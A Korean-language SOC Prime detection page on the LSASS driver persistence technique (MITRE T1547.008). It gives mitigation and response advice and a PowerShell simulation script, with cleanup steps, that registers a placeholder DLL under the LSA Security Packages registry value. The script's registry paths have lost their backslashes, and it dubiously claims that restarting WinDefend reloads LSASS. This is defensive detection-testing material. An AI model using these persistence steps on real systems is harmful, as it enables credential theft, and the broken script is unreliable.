SOC Prime Bias: 치명적

30 3월 2026 16:15

MITRE ATT&CK에서 설명되는 T1547.008 LSASS 드라이버

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
MITRE ATT&CK에서 설명되는 T1547.008 LSASS 드라이버
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 글은 LSASS 드라이버 지속성 하위 기법 T1547.008을 설명하며, 이 기법은 LSASS가 보안 관련 구성 요소를 로드하는 방식을 악용하여 위협 행위자가 Windows 시스템에서 영구적이고 높은 권한의 실행을 얻는 데 사용됩니다.

조사

공격자는 일반적으로 SYSTEM 권한을 얻은 후 타겟 호스트에 악성 DLL 또는 드라이버를 배치하고 LSA 구성 내의 레지스트리 키를 변경하여 LSASS가 부팅 중에 악성 구성 요소를 로드하도록 합니다. 일부 경우, 같은 접근법을 적용하여 도메인 컨트롤러 서비스 확장 포인트를 악용할 수도 있습니다.

완화

방어자는 LSA 키에 영향을 미치는 레지스트리 변경 사항을 주시하고, 드라이버와 DLL에 대한 엄격한 코드 서명을 요구하며, 관련 레지스트리 경로에 대한 쓰기 권한을 제한하고, LSASS 프로세스에 의해 로드된 구성 요소에 무결성 모니터링을 적용해야 합니다.

대응

의심스러운 레지스트리 변경 사항이나 예상치 못한 드라이버 로드가 lsass.exe 에 탐지되면 호스트를 격리하고, 자격 증명 중심의 분석을 위해 LSASS 메모리를 캡처하며, 책임 있는 부모 프로세스를 조사하면서 수정된 레지스트리 값을 알려진 올바른 상태로 복원합니다.

공격 흐름

이 부분은 아직 업데이트 중입니다. 알림을 받으려면 가입하세요.

알림 받기

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 검사 통과가 필수입니다.

이유: 이 섹션은 탐지 규칙을 촉발시키기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 내러티브는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 설명 및 명령어:

    1. 준비 – 악성 DLL 가져오기 – 적대자는 DLL을 제작합니다 (maliciousLSASS.dll) LSASS에 의해 로드되면 자격증명 해시를 추출하여 %TEMP%에 기록합니다. DLL은 피해자 워크스테이션에 배치됩니다.
    2. 레지스트리 수정에 의한 지속성 – 네이티브 reg.exe를 사용하여 공격자는 악성 DLL의 전체 경로를 보안 패키지 다중 문자열 값에 추가하며, LSASS는 서비스 시작 시 이를 읽습니다.
    3. 트리거 – 공격자는 LSASS 서비스를 재시작하여 패키지를 다시 로드하게 합니다 (시스템 재부팅 필요; 테스트에서는 보안을 통해 시뮬레이션). WinDefend 서비스를 중지하고 시작함으로써 LSASS가 보안 패키지 목록을 다시 로드하도록 강제합니다.
  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # LSASS 드라이버 지속성 시뮬레이션 (T1547.008)
    # -------------------------------------------------
    $dllPath = "$env:USERPROFILEDesktopmaliciousLSASS.dll"
    # 더미 DLL 파일이 존재하는지 확인 (테스트를 위한 빈 플레이스홀더)
    if (-not (Test-Path $dllPath)) {
        New-Item -Path $dllPath -ItemType File -Force | Out-Null
    }
    
    # 원래 값 백업
    $regPath = 'HKLM:SYSTEMCurrentControlSetControlLsaSecurity Packages'
    $original = (Get-ItemProperty -Path $regPath -Name '(Default)' -ErrorAction SilentlyContinue).'(Default)'
    
    # 악성 DLL 경로 추가
    $newValue = @()
    if ($original) { $newValue = $original -split "`0" }
    $newValue += $dllPath
    Set-ItemProperty -Path $regPath -Name '(Default)' -Value $newValue -Force
    
    Write-Host "[+] 악성 DLL을 포함하도록 보안 패키지 레지스트리 값을 수정했습니다."
    
    # 선택 사항: 재부팅 없이 LSASS 패키지 재로드 강제 (종속 서비스 다시 시작)
    Restart-Service -Name WinDefend -Force -ErrorAction SilentlyContinue
    Write-Host "[+] LSASS 재로드를 유도하기 위한 서비스 재시작 요청."
    
    # 로그가 수집될 수 있도록 일시 중지
    Start-Sleep -Seconds 10
    
    # 원래 값 복원 (별도로 실행된 정리 단계)
  • 정리 명령어:

    # -------------------------------------------------
    # 시뮬레이션 후 정리
    # -------------------------------------------------
    $regPath = 'HKLM:SYSTEMCurrentControlSetControlLsaSecurity Packages'
    # 이전에 캡처된 원래 다중 문자열 값을 복원 (있는 경우)
    if ($original) {
        Set-ItemProperty -Path $regPath -Name '(Default)' -Value $original -Force
    } else {
        # 원래 비어 있었다면 값을 완전히 제거
        Remove-ItemProperty -Path $regPath -Name '(Default)' -Force -ErrorAction SilentlyContinue
    }
    Write-Host "[+] 원래 보안 패키지 레지스트리 값을 복원했습니다."
    
    # 더미 DLL 제거
    Remove-Item -Path "$env:USERPROFILEDesktopmaliciousLSASS.dll" -Force -ErrorAction SilentlyContinue
    Write-Host "[+] 임시 악성 DLL을 삭제했습니다."
    
    # 선택 사항: LSASS 상태를 완전히 재설정하기 위해 호스트 재부팅 (테스트에 필요 없음)
    # Restart-Computer -Force